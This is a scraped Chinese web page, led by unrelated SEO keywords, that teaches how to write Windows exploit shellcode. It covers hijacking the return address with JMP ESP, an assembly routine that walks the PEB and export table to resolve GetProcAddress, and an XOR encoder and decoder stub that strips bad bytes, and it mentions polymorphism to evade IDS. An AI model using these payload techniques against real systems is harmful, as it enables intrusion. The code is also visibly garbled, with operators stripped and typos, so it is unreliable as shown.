东莞市住建局官网网站,wordpress 用户遍历,免费的adspower指纹浏览器,免费制作相册影集Shellcode实际是一段代码#xff08;也可以是填充数据#xff09;#xff0c;是用来发送到服务器利用特定漏洞的代码#xff0c;一般可以获取权限。 另外#xff0c;Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心#xff0c;提到它… Shellcode实际是一段代码也可以是填充数据是用来发送到服务器利用特定漏洞的代码一般可以获取权限。 另外Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心提到它自然就会和漏洞联想在一起毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode因此掌握Shellcode编写技术就显得尤为重要。 Shellcode编写考虑因素 Shellcode一般作为数据发送给服务端造成溢出不同数据对数据要求不同因此Shellcode也不一定相同。但Shellcode在编写过程中有些问题是一致的 ⒈Shellcode的编写语言。 这个问题没有定论。一般采用的是C语言速度较快但是ASM更便于控制Shellcode的生成。到底是快速编写还是完全控制呢很难回答呢。 ⒉Shellcode本身代码的重定位。Shellcode的流程控制即如何通过溢出使控制权落在Shellcode手中 ⒊Shellcode中使用的API地址定位。 ⒋Shellcode编码问题。 ⒌多态技术躲避IDS检测。 Shellcode编写技术 ⒈Shellcode编写语言 Shellcode本质上可以使用任何编程语言但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的因为我们完全可以通过指令控制代码生成缺点就是需要大量的时间而且还要你深入了解汇编。如果你想追求速度C是不错的选择。C语言编写起来较为省力但Shellcode提取较为复杂不过一旦写好模板就省事许多。例如这里有一个写好的模板 void Shellcode() { __asm { nop nop nop nop nop nop nop nop } } 然后在main()中用函数指针操作和memcmp定位shellcode用printf之类函数将shellcode打出来或保存即可。示例代码略。 纵观当前shellcode大部分是由C完成的因此想来大家已经取舍完了吧 ⒉Shellcode代码地址定位获取程序EIP。 为什么要获取EIP呢原因是我们需要我们的Shellcode能够执行对病毒技术有了解的话应该知道他们是怎么定位的利用CALL/POP来实现。 这里就不得不提到两种方法JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法成功率非常高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。 我们的方法时通过Shellcode地址覆盖返回地址在溢出后即可跳转到我们的代码中以获取权限。 而Shellcode在内存中的地址并不固定因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址的间接跳转。这样有两个好处一是不必准确定位Shellcode地址二是可以防止strcpy对00字节的截断因为DLL文件中地址一般为7FXXXXXX。具体细节网上已有相关的东东大家自己找来看看吧。 ⒊Shellcode中的API地址定位。 Shellcode代码的运行环境和病毒在某些方面是类似的由于系统不同Api的地址也不尽相同。因此要想让Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式即PE文件格式然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我们这里使用从进程PEB中获取示例代码如下 __asm { push ebp; sub esp, 0x40; mov ebp,esp; push ebp; mov eax, fs:0x30 ;PEB mov eax, [eax 0x0c] ;Ldr mov esi, [eax 0x1c] ;Flink lodsd mov edi, [eax 0x08] ;edi就是kernel32.dll的地址 mov eax, [edi3Ch] ;eax PE首部 mov edx,[edieax78h] add edx,edi ;edx 输出表地址 mov ecx,[edx18h] ;ecx 输出函数的个数 mov ebx,[edx20h] add ebx,edi ;ebx 函数名地址,AddressOfName search: dec ecx mov esi,[ebxecx*4] add esi,edi ;依次找每个函数名称 ;GetProcAddress mov eax,0x50746547 cmp [esi], eax; PteG jne search mov eax,0x41636f72 cmp [esi4],eax; Acor jne search ;如果是GetProcA表示找到了 mov ebx,[edx24h] add ebx,edi ;ebx 索引号地址,AddressOf mov cx,[ebxecx*2] ;ecx 计算出的索引号值 mov ebx,[edx1Ch] add ebx,edi ;ebx 函数地址的起始位置,AddressOfFunction mov eax,[ebxecx*4] add eax,edi ;利用索引值计算出GetProcAddress的地址 mov [ebp40h], eax ;把GetProcAddress的地址存在 ebp40中 接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了和C没什么两样略过了吧很累呢。 ⒋Shellcode的编码问题。 写过Shellcode的兄弟对这个应该恨熟吧例如strcpy函数中不能有0x00RPC DOCM溢出时不能用0x5c等等。 因为假如有这些字符会导致服务中断Shellcode溢出失败。不同溢出对shellcode要求不同当然需要精选字符来达到目的这样太累了些简单点就是写一段代码示例如下 for(i0;i chsc_buff^Enc_key; //对可能字符进行替换 if(ch0x1f||ch ||ch.||ch/||ch//||ch0||ch?||ch%||ch) { buff0; k; ch0x31; } //将编码Code放在DecryptSc后 buff[k]ch; k; } 解码时代码 解码时代码示例如下 jmp next getEncodeAddr: pop edi push edi pop esi xor ecx,ecx Decrypt_lop: loasb cmp al,cl jz shell cmp al,0x30 //判断是否为特殊字符 jz specal_char_clean store: xor al,Enc_key stosb jmp Decrypt_lop special_char_clean: lodsb sub al,0x31 jmp store next: call getEncodeAddr